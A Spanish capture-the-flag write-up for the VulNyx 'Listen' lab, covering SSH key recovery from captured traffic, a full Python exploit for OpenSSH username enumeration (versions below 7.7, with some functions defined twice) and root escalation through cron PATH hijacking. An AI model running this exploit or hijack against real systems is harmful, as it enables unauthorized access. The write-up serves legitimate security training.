VulNyx - Listen
- Brute Force Key Rsa - (RSAcrack)
- Username Enumeration Exploit (OpenSSH 2.3 < 7.7)
- Cron Path Hijacking - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.115
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Escaneo de servicios
❯ nmap -sVC -v -p 22,8000 192.168.1.115
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
| 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_ 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.7.3)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3
HTTP TCP - 8000
Con Wireshark veo que la máquina víctima está generando tráfico.
En el protocolo IPv4 encuentro un trozo de una llave rsa.
En el protocolo DNS encuentro la otra parte.
Junto ambas partes y me queda así.
Uso RSAcrack para encontrar la llave de paso.
Hago una búsqueda en internet y encuentro este exploit.
Lo descargo y lo modifico para que al encontrar un usuario válido se detenga, cosa que no hace el exploit original.
#!/usr/bin/env python3
import argparse
import paramiko
import logging
import socket
import sys
import os
class InvalidUsername(Exception):
pass
# Malicious function to malform packet
def add_boolean(*args, **kwargs):
pass
# Function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
# Malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_service_accept(*args, **kwargs)
paramiko.message.Message.add_boolean = old_add_boolean
return result
# Call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()
# Assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
# Print valid users found out so far
def print_result(valid_users):
if valid_users:
print("Valid Users: ")
for user in valid_users:
print(user)
else:
print("No valid user detected.")
# Perform authentication with malicious packet and username
def check_user(username, valid_users):
try:
sock = socket.socket()
sock.connect((args.target, int(args.port)))
transport = paramiko.transport.Transport(sock)
transport.start_client(timeout=0.5)
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
sys.exit(2)
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
print("[+] {} is a valid username".format(username))
valid_users.append(username)
print_result(valid_users)
sys.exit(0) # Salir después de encontrar un usuario válido
except paramiko.ssh_exception.AuthenticationException:
print("[-] {} is an invalid username".format(username))
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
def service_accept(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_service_accept(*args, **kwargs)
paramiko.message.Message.add_boolean = old_add_boolean
return result
def invalid_username(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
def check_user(username):
try:
sock = socket.socket()
sock.connect((args.target, int(args.port)))
transport = paramiko.transport.Transport(sock)
transport.start_client(timeout=0.5)
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
sys.exit(2)
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
print("[+] {} is a valid username".format(username))
sys.exit(0)
except InvalidUsername:
print("[-] {} is an invalid username".format(username))
except paramiko.ssh_exception.AuthenticationException:
print("[+] {} is a valid username".format(username))
sys.exit(0)
def check_userlist(wordlist_path):
if not os.path.isfile(wordlist_path):
print("[-] {} is an invalid wordlist file".format(wordlist_path))
sys.exit(2)
with open(wordlist_path) as f:
for line in f:
username = line.rstrip()
try:
check_user(username)
except KeyboardInterrupt:
print("Enumeration aborted by user!")
sys.exit(0)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('-u', '--user', dest='username', help="Username to check for validity.")
parser.add_argument('-w', '--wordlist', dest='wordlist', help="username wordlist")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.wordlist:
check_userlist(args.wordlist)
print("[-] No valid user detected.")
elif args.username:
check_user(args.username)
print("[-] {} is not a valid user.".format(args.username))
else:
print("[-] Username or wordlist must be specified!\n")
parser.print_help()
sys.exit(1)
Lanzo el exploit y encuentro el usuario.
❯ python3 exploitMod.py 192.168.1.115 -w /usr/share/seclists/Usernames/Names/names.txt
Con todos estos datos me conecto al sistema.
❯ ssh abel@192.168.1.115 -i id_rsa
Enter passphrase for key 'id_rsa':
abel@listen:~$ id
uid=1000(abel) gid=1000(abel) groups=1000(abel)
abel@listen:~$
Utilizo Linpeas para enumerar el sistema, encuentro una tarea cron donde el usuario root lanza cp para copiar index.html
al directorio /tmp
y se lanza desde una ruta relativa.
Compruebo donde está ubicado el binario cp.
abel@listen:~$ whereis cp
cp: /usr/bin/cp /usr/share/man/man1/cp.1.gz
La ruta /dev/shm
está antes que /usr/bin
.
Puedo obtener el root aprovechando el path de cron, al tener permisos completos en /dev/shm
puedo crear un archivo malicioso con el nombre cp de esta forma cron encuentra primero mi archivo antes que el binario original.
Después de unos segundos obtengo una shell de root.
Y aquí termina la máquina Listen.
Saludos!